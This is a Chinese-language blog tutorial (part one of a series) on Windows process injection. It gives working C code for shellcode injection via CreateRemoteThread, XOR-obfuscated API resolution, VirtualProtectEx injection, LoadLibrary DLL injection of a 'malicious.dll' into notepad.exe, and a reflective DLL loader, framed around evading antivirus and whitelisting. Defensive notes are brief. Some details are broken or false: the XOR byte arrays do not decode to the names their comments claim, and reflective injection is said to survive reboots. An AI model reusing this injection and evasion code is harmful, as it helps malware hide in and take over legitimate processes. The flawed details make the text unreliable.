进程注入技术全解析:从基础到高级攻防实战

本文深入解析进程注入技术的核心原理与实战应用,涵盖本地代码注入、API混淆、VirtualProtect内存权限修改、DLL注入及反射式DLL加载等高级技术,通过完整代码示例展示攻击实现细节,并探讨相应的防御检测策略。

进程注入技术:从基础到高级攻防实战(第一部分)

在网络安全领域,进程注入是最需要理解的关键技术之一。无论您是恶意软件分析师、渗透测试人员还是防御者,了解其工作原理对于攻击和保护系统都至关重要。

进程注入技术已成为现代恶意软件、高级持续性威胁(APT)和复杂网络攻击的支柱。从国家行为者渗透关键基础设施到网络犯罪分子部署勒索软件,这些技术使攻击者能够隐藏在众目睽睽之下,逃避检测系统,并维持对受损系统的持久访问。

本综合指南深入探讨进程注入的世界,提供详细的解释、实际示例和真实场景,说明这些技术在实际网络作战中的运用方式。

理解进程注入:基础概念

什么是进程注入?

进程注入是一种复杂技术,将恶意代码插入并在另一个(通常是合法的)进程的地址空间内执行。这种方法允许攻击者利用目标进程的权限、网络连接和受信任状态,同时隐藏其恶意活动。

攻击者为何使用进程注入

隐蔽和逃避:攻击者将恶意代码隐藏在合法进程(如svchost.exe或explorer.exe)内部。由于它在受信任程序中运行,通常不会被用户和安全软件注意到。

权限提升:通过注入具有更高权限的进程,攻击者可以执行其原始上下文中无法执行的操作。

持久性:即使原始恶意软件被检测和移除,注入的代码仍可在合法进程中继续运行。

防御绕过:当恶意代码在批准的进程内执行时,应用程序白名单变得无效。

真实世界影响场景

考虑2020年的SolarWinds供应链攻击。SUNBURST恶意软件使用进程注入技术隐藏在合法的Windows进程中,使其在从全球数千个组织窃取敏感数据的同时,保持数月未被检测。

深入探讨:经典代码注入技术

1. 本地进程代码注入

定义和概念:本地进程代码注入是进程注入武器库中最基本的技术。此方法涉及在同一台机器上运行的目标进程的内存空间内直接插入和执行恶意代码。与远程注入不同,本地注入在同一系统内操作,通常需要与目标进程相同或更低的权限级别。

工作原理:该技术遵循系统化方法:首先,攻击者使用具有适当权限的OpenProcess()打开目标进程的句柄。接下来,使用具有可执行权限的VirtualAllocEx()在目标进程内分配内存。然后使用WriteProcessMemory()将恶意代码(shellcode)写入此分配的内存。最后,通过使用CreateRemoteThread()创建指向注入代码的远程线程来触发执行。

关键特性

  • 简单性:这是最直接的注入方法,非常适合初学者理解
  • 可检测性:由于其常见用途,大多数安全产品都有此技术的签名
  • 可靠性:在不同Windows版本上一致工作,只需最小修改
  • 权限要求:需要目标进程的适当访问权限

攻击场景:攻击者通常使用此技术将代码注入系统进程(如explorer.exe、winlogon.exe或svchost.exe)以显得合法。银行木马经常针对浏览器进程窃取凭据,而勒索软件使用它同时将加密例程注入多个进程。

防御考虑:现代端点保护系统监控典型的API调用序列(OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread),可以轻松检测基本实现。但是,当与其他逃避方法结合使用时,该技术仍然有效。

让我们检查详细实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <windows.h>
#include <stdio.h>

// Shellcode
unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
// ... shellcode字节

BOOL InjectLocalProcess(DWORD processId, LPVOID shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = NULL;
    LPVOID remoteMemory = NULL;
    HANDLE hThread = NULL;
    BOOL result = FALSE;

    // 步骤1:使用所需权限打开目标进程
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, processId
    );
    
    if (!hProcess) {
        printf("Failed to open process. Error: %lu\n", GetLastError());
        return FALSE;
    }

    // 步骤2:在目标进程中分配内存
    remoteMemory = VirtualAllocEx(
        hProcess, NULL, shellcodeSize, 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    
    if (!remoteMemory) {
        printf("Failed to allocate memory. Error: %lu\n", GetLastError());
        goto cleanup;
    }

    // 步骤3:将shellcode写入分配的内存
    if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
        printf("Failed to write memory. Error: %lu\n", GetLastError());
        goto cleanup;
    }

    // 步骤4:创建远程线程执行shellcode
    hThread = CreateRemoteThread(
        hProcess, NULL, 0, 
        (LPTHREAD_START_ROUTINE)remoteMemory, 
        NULL, 0, NULL
    );
    
    if (!hThread) {
        printf("Failed to create remote thread. Error: %lu\n", GetLastError());
        goto cleanup;
    }

    printf("Successfully injected code into process %lu\n", processId);
    result = TRUE;

cleanup:
    if (hThread) CloseHandle(hThread);
    if (hProcess) CloseHandle(hProcess);
    return result;
}

2. 带有API混淆的远程进程注入

定义和概念:远程进程注入将基本注入概念扩展到网络边界或不同的安全上下文。API混淆通过隐藏注入过程中使用的实际函数调用增加了一层隐蔽性。该技术在运行时动态解析API函数,使静态分析显著更加困难。

技术深度探讨:混淆通过加密API名称和使用以下技术工作:

  • 动态API解析:使用GetProcAddress()在运行时解析函数地址
  • 字符串加密:以加密形式存储API名称并在执行期间解密
  • 基于哈希的解析:使用哈希函数名称而不是明文字符串
  • 间接函数调用:使用函数指针掩蔽直接API调用

为何有效:静态分析工具和基于签名的基本检测系统难以处理此技术,因为:

  • 实际API调用在运行时之前不可见
  • 基于字符串的签名无法匹配加密的函数名称
  • 由于间接调用,控制流分析变得复杂
  • 不同的加密密钥导致不同的二进制签名

恶意软件家族的演变:高级恶意软件家族(如APT组织)广泛使用此技术。例如:

  • Lazarus组织:使用RC4加密进行API名称混淆
  • Carbanak:采用基于XOR的字符串加密结合基于哈希的API解析
  • FIN7:利用基于堆栈的字符串解密隐藏关键API调用

高级恶意软件通常混淆API调用以逃避静态分析。以下是使用动态API解析的示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <windows.h>

// 函数指针类型
typedef LPVOID (WINAPI* VirtualAllocEx_t)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* WriteProcessMemory_t)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI* CreateRemoteThread_t)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

// API名称的XOR加密
char encryptedAPIs[][32] = {
    {0x16, 0x29, 0x08, 0x1A, 0x1F, 0x27, 0x2C, 0x00}, // "VirtualAllocEx" 用密钥0x42异或
    {0x15, 0x08, 0x29, 0x1A, 0x21, 0x00},             // "WriteProcessMemory" 异或
    // ... 更多加密的API名称
};

LPVOID GetObfuscatedAPI(HMODULE hModule, int apiIndex) {
    char apiName[64];
    char* encrypted = encryptedAPIs[apiIndex];
    
    // 解密API名称
    for (int i = 0; encrypted[i]; i++) {
        apiName[i] = encrypted[i] ^ 0x42;
    }
    
    return GetProcAddress(hModule, apiName);
}

BOOL ObfuscatedInjection(DWORD targetPID, LPVOID payload, SIZE_T payloadSize) {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    
    // 动态解析API
    VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetObfuscatedAPI(hKernel32, 0);
    WriteProcessMemory_t pWriteProcessMemory = (WriteProcessMemory_t)GetObfuscatedAPI(hKernel32, 1);
    CreateRemoteThread_t pCreateRemoteThread = (CreateRemoteThread_t)GetObfuscatedAPI(hKernel32, 2);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    if (!hProcess) return FALSE;
    
    // 使用函数指针的其余注入逻辑
    LPVOID remoteBuffer = pVirtualAllocEx(hProcess, NULL, payloadSize,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (!remoteBuffer) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 继续使用混淆的API调用...
    return TRUE;
}

防御检测:安全工具可以通过监控以下内容检测此技术:

  • 动态API解析模式
  • 异常内存分配序列
  • 跨进程内存操作

3. 基于VirtualProtect的注入

定义和概念:基于VirtualProtect的注入代表了一种更复杂的方法,它利用现有内存区域而不是分配新区域。该技术识别目标进程内的已提交内存区域,将恶意代码写入这些区域,然后更改内存保护以使其可执行。

技术机制:该过程涉及几个关键步骤:

  • 内存区域发现:使用VirtualQueryEx()扫描目标进程的内存空间以找到合适区域
  • 区域分析:评估内存区域的适当大小、当前保护级别和内容
  • 内容验证:确保目标区域包含空字节或可消耗数据
  • 代码注入:将恶意负载写入识别的区域
  • 保护修改:使用VirtualProtectEx()更改内存权限为可执行
  • 执行触发:创建线程或劫持现有线程执行注入的代码

与传统方法相比的优势

  • 隐蔽因素:不创建新的内存分配,减少检测足迹
  • 逃避能力:内存扫描工具可能忽略现有区域
  • 较低的系统影响:重用现有内存而不是消耗额外资源
  • 取证抵抗:在内存分析期间更难识别注入点

内存区域选择标准:有效实现需要仔细选择目标内存区域:

  • 读写区域:初始不可执行但可以更改保护的区域
  • 足够大小:足够大以容纳负载的区域
  • 低活动性:合法进程不经常访问的内存区域
  • 空内容:包含主要为零字节或填充的区域

真实世界实现挑战:攻击者必须克服几个技术障碍:

  • 地址空间布局随机化(ASLR):使内存区域不可预测
  • 数据执行保护(DEP):防止在数据区域执行
  • 控制流保护(CFG):验证间接调用目标
  • 虚拟机监控程序保护的代码完整性(HVCI):防止未经授权的代码执行

此技术更改内存权限以在现有分配中执行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
BOOL VirtualProtectInjection(DWORD targetPID, LPVOID shellcode, SIZE_T size) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    if (!hProcess) return FALSE;
    
    // 在目标进程中找到合适的内存区域
    MEMORY_BASIC_INFORMATION mbi;
    LPVOID baseAddress = 0;
    
    while (VirtualQueryEx(hProcess, baseAddress, &mbi, sizeof(mbi))) {
        if (mbi.State == MEM_COMMIT && mbi.Protect == PAGE_READWRITE && 
            mbi.RegionSize >= size) {
            break;
        }
        baseAddress = (LPVOID)((SIZE_T)mbi.BaseAddress + mbi.RegionSize);
    }
    
    if (!baseAddress) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 写入shellcode
    if (!WriteProcessMemory(hProcess, baseAddress, shellcode, size, NULL)) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 更改保护为可执行
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, baseAddress, size, PAGE_EXECUTE_READ, &oldProtect)) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 执行
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
    
    if (hThread) {
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return TRUE;
    }
    
    CloseHandle(hProcess);
    return FALSE;
}

高级DLL注入技术

1. 经典DLL注入实现

定义和基本概念:经典DLL注入是进程注入中的基石技术,强制目标进程加载包含恶意代码的动态链接库(DLL)。与直接代码注入不同,此方法利用Windows的本机库加载机制,使注入的代码显示为目标进程中的合法模块。

技术架构:该技术通过以下过程利用Windows的LoadLibrary()函数:

  • 目标进程访问:获取目标进程的适当句柄
  • 路径分配:在目标进程中为DLL路径保留内存空间
  • 路径写入:将DLL文件路径复制到分配的内存中
  • 线程创建:创建调用LoadLibrary()的远程线程
  • 执行:DLL的DllMain()函数在加载时自动执行

DLL注入的强大之处

  • 合法机制:使用Windows的标准库加载过程
  • 完全集成:DLL成为目标进程的合法部分
  • 广泛能力:DLL可以挂钩API、修改进程行为并保持持久性
  • 调试可见性:注入的DLL出现在标准调试和进程监控工具中

DLL开发考虑:创建有效的注入DLL需要理解:

  • DllMain()函数:加载/卸载时执行的入口点
  • 线程安全:在多线程环境中处理并发访问
  • 进程上下文:在目标进程的安全和内存上下文中操作
  • 清理过程:正确移除挂钩和分配的资源

历史背景和演变:该技术在2000年代初获得突出地位,并被以下方面广泛使用:

  • 游戏作弊:修改游戏行为并访问受保护内存
  • 系统实用程序:增强或修改系统功能
  • 恶意软件家族:银行木马、键盘记录器和rootkit
  • 安全工具:合法监控和保护软件

现代变体和适应:当代实现通常包括:

  • 签名DLL加载:使用合法的签名DLL避免检测
  • 仅内存DLL:直接从内存加载DLL而不写入磁盘
  • 延迟执行:使用技术在安全扫描后延迟DLL执行
  • 多阶段加载:使用存根DLL下载和加载其他组件
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindProcessByName(const wchar_t* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(pe32);
    
    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            if (wcscmp(pe32.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe32.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }
    
    CloseHandle(hSnapshot);
    return 0;
}

BOOL InjectDLL(DWORD processId, const wchar_t* dllPath) {
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, processId
    );
    
    if (!hProcess) {
        printf("Failed to open target process\n");
        return FALSE;
    }
    
    // 计算DLL路径大小
    SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    
    // 在目标进程中为DLL路径分配内存
    LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathSize,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    if (!remoteDllPath) {
        printf("Failed to allocate memory in target process\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 将DLL路径写入目标进程
    if (!WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathSize, NULL)) {
        printf("Failed to write DLL path to target process\n");
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 获取LoadLibraryW地址
    HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
    LPVOID loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryW");
    
    if (!loadLibraryAddr) {
        printf("Failed to get LoadLibraryW address\n");
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 创建远程线程加载DLL
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0,
                                              (LPTHREAD_START_ROUTINE)loadLibraryAddr,
                                             remoteDllPath, 0, NULL);
    
    if (!hRemoteThread) {
        printf("Failed to create remote thread\n");
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 等待DLL加载完成
    WaitForSingleObject(hRemoteThread, INFINITE);
    
    printf("Successfully injected DLL into process %lu\n", processId);
    
    // 清理
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    return TRUE;
}

// 使用示例
int main() {
    DWORD targetPID = FindProcessByName(L"notepad.exe");
    if (targetPID == 0) {
        printf("Target process not found\n");
        return 1;
    }
    
    if (InjectDLL(targetPID, L"C:\\Path\\To\\Your\\malicious.dll")) {
        printf("DLL injection successful\n");
    } else {
        printf("DLL injection failed\n");
    }
    
    return 0;
}

2. 反射式DLL注入

定义和革命性概念:与传统DLL注入相比,反射式DLL注入在隐蔽性和复杂性方面代表了量子飞跃。该技术直接从内存加载DLL,从不接触磁盘,绕过文件系统监控、防病毒扫描器和应用程序白名单解决方案。

核心创新:突破在于DLL包含自己的自定义加载器(反射式加载器),该加载器手动将DLL映射到内存中,解析导入,处理重定位并调用入口点——基本上复制了Windows本机加载器的功能,但完全在内存中完成。

技术架构深度探讨

  1. 自包含加载:与依赖Windows PE加载器的传统DLL不同,反射式DLL包括:

    • 自定义PE解析器:解释PE头部和部分的代码
    • 导入解析引擎:解析API依赖关系的函数
    • 重定位处理器:修复内存地址的代码
    • 内存管理器:分配和管理内存区域的例程
  2. 隐蔽特性

    • 无磁盘足迹:DLL从不在目标系统上作为文件存在
    • 无注册表条目:绕过模块加载通知
    • 对标准工具不可见:不会出现在加载的模块列表中
    • 反取证:为取证分析留下最少的痕迹
  3. 执行流程:该过程遵循复杂的序列:

    • 内存分配:为整个DLL保留内存空间
    • 头部处理:复制和处理PE头部
    • 部分映射:将每个部分映射到适当的内存位置
    • 导入解析:动态解析所有API依赖关系
    • 重定位处理:修复所有内存地址引用
    • 入口点执行:调用DllMain或自定义入口点

高级实现技术

内存布局优化

  • 地址空间随机化:使用随机基地址进行隐蔽
  • 部分权限:设置适当的读/写/执行权限
  • 内存碎片化:避免大的连续分配

导入解析策略

  • 基于哈希的解析:使用函数名称哈希而不是字符串
  • 延迟加载:仅在需要时解析导入
  • API集解析:正确处理Windows API集

反分析特性

  • 字符串加密:加密所有嵌入的字符串
  • 控制流混淆:使代码分析困难
  • 调试检测:检测和逃避调试尝试

真实世界应用

APT活动:高级持续性威胁组织广泛使用反射式DLL注入:

  • Cobalt Strike:流行的红队工具使用反射式DLL进行后期利用
  • Metasploit:Meterpreter负载通常采用反射式注入
  • 自定义框架:国家行为者开发定制的反射式加载器

商业软件:合法应用程序也使用类似技术:

  • 游戏反作弊系统:加载保护模块而不存在磁盘
  • 软件保护:实现复制保护机制
  • 系统实用程序:运行时修补和增强工具

检测挑战:安全解决方案难以处理反射式DLL注入,因为:

  • 静态分析限制:没有文件可扫描或分析
  • 行为复杂性:难以与合法内存操作区分
  • 时间窗口:通常执行速度比监控检测更快
  • 内存隐藏:可以实现技术从内存扫描器中隐藏

反射式DLL注入显著更高级和隐蔽:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
// 反射式DLL结构
typedef struct _REFLECTIVE_DLL {
    DWORD dwReflectiveLoaderOffset;  // 反射式加载器函数偏移
    DWORD dwDllSize;                 // DLL大小
    BYTE  bDllData[1];              // DLL数据从此开始
} REFLECTIVE_DLL, *PREFLECTIVE_DLL;

// 反射式加载器函数(简化版本)
DWORD WINAPI ReflectiveLoader(LPVOID lpParam) {
    // 获取当前位置
    ULONG_PTR uiLibraryAddress = (ULONG_PTR)lpParam;
    
    // 解析PE头部
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pImageDosHeader->e_lfanew);
    
    // 计算DLL所需大小
    DWORD dwImageSize = pImageNtHeaders->OptionalHeader.SizeOfImage;
    
    // 为DLL分配内存
    LPVOID lpBaseAddress = VirtualAlloc(NULL, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!lpBaseAddress) return 0;
    
    // 复制头部
    memcpy(lpBaseAddress, (LPVOID)uiLibraryAddress, pImageNtHeaders->OptionalHeader.SizeOfHeaders);
    
    // 复制部分
    PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
    for (int i = 0; i < pImageNtHeaders->FileHeader.NumberOfSections; i++) {
        if (pImageSectionHeader[i].SizeOfRawData) {
            memcpy(
                (LPVOID)((ULONG_PTR)lpBaseAddress + pImageSectionHeader[i].VirtualAddress),
                (LPVOID)(uiLibraryAddress + pImageSectionHeader[i].PointerToRawData),
                pImageSectionHeader[i].SizeOfRawData
            );
        }
    }
    
    // 处理重定位
    PIMAGE_DATA_DIRECTORY pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (pImageDataDirectory->Size) {
        PIMAGE_BASE_RELOCATION pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);
        ULONG_PTR uiDelta = (ULONG_PTR)lpBaseAddress - pImageNtHeaders->OptionalHeader.ImageBase;
        
        while (pImageBaseRelocation->SizeOfBlock) {
            PWORD pwRelocations = (PWORD)((ULONG_PTR)pImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
            DWORD dwNumberOfRelocations = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            
            for (DWORD j = 0; j < dwNumberOfRelocations; j++) {
                if ((pwRelocations[j] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
                    PDWORD pdwRelocation = (PDWORD)((ULONG_PTR)lpBaseAddress + pImageBaseRelocation->VirtualAddress + (pwRelocations[j] & 0x0FFF));
                    *pdwRelocation += (DWORD)uiDelta;
                }
            }
            
            pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pImageBaseRelocation + pImageBaseRelocation->SizeOfBlock);
        }
    }
    
    // 解析导入
    pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (pImageDataDirectory->Size) {
        PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);
        
        while (pImageImportDescriptor->Name) {
            char* szDllName = (char*)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->Name);
            HMODULE hDll = LoadLibraryA(szDllName);
            
            if (hDll) {
                PULONG_PTR pOriginalFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->OriginalFirstThunk);
                PULONG_PTR pFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->FirstThunk);
                
                while (*pOriginalFirstThunk) {
                    if (*pOriginalFirstThunk & IMAGE_ORDINAL_FLAG) {
                        *pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)(*pOriginalFirstThunk & 0xFFFF));
                    } else {
                        PIMAGE_IMPORT_BY_NAME pImageImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)lpBaseAddress + *pOriginalFirstThunk);
                        *pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, pImageImportByName->Name);
                    }
                    
                    pOriginalFirstThunk++;
                    pFirstThunk++;
                }
            }
            
            pImageImportDescriptor++;
        }
    }
    
    // 调用DLL入口点
    BOOL (WINAPI* pDllMain)(HINSTANCE, DWORD, LPVOID) = (BOOL (WINAPI*)(HINSTANCE, DWORD, LPVOID))((ULONG_PTR)lpBaseAddress + pImageNtHeaders->OptionalHeader.AddressOfEntryPoint);
    pDllMain((HINSTANCE)lpBaseAddress, DLL_PROCESS_ATTACH, NULL);
    
    return (DWORD)lpBaseAddress;
}

BOOL ReflectiveInject(DWORD dwProcessId, LPVOID lpDllBuffer, DWORD dwDllSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess) return FALSE;
    
    // 为DLL分配内存
    LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDllSize,
                                                  MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!lpRemoteLibraryBuffer) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 将DLL写入目标进程
    if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllSize, NULL)) {
        VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 计算反射式加载器地址
    PREFLECTIVE_DLL pReflectiveDll = (PREFLECTIVE_DLL)lpDllBuffer;
    LPVOID lpReflectiveLoader = (LPVOID)((ULONG_PTR)lpRemoteLibraryBuffer + pReflectiveDll->dwReflectiveLoaderOffset);
    
    // 创建远程线程执行反射式加载器
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)lpReflectiveLoader,
                                       lpRemoteLibraryBuffer, 0, NULL);
    
    if (!hThread) {
        VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

高级逃避场景:像Lazarus这样的APT组织已使用反射式DLL注入部署其复杂的恶意软件工具包。该技术允许他们:

  • 加载恶意库而不写入磁盘
  • 绕过应用程序白名单
  • 避免传统防病毒扫描器的检测
  • 即使在系统重启后仍保持持久性

这第一部分涵盖了进程注入的基础知识以及为何隐蔽和逃避很重要。

在第二部分中,我们将深入探讨更有趣的实践技术,思考DLL和代码注入方法、进程挖空、APC以及真实的检测/缓解技巧。请继续关注实际示例和逐步演练。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计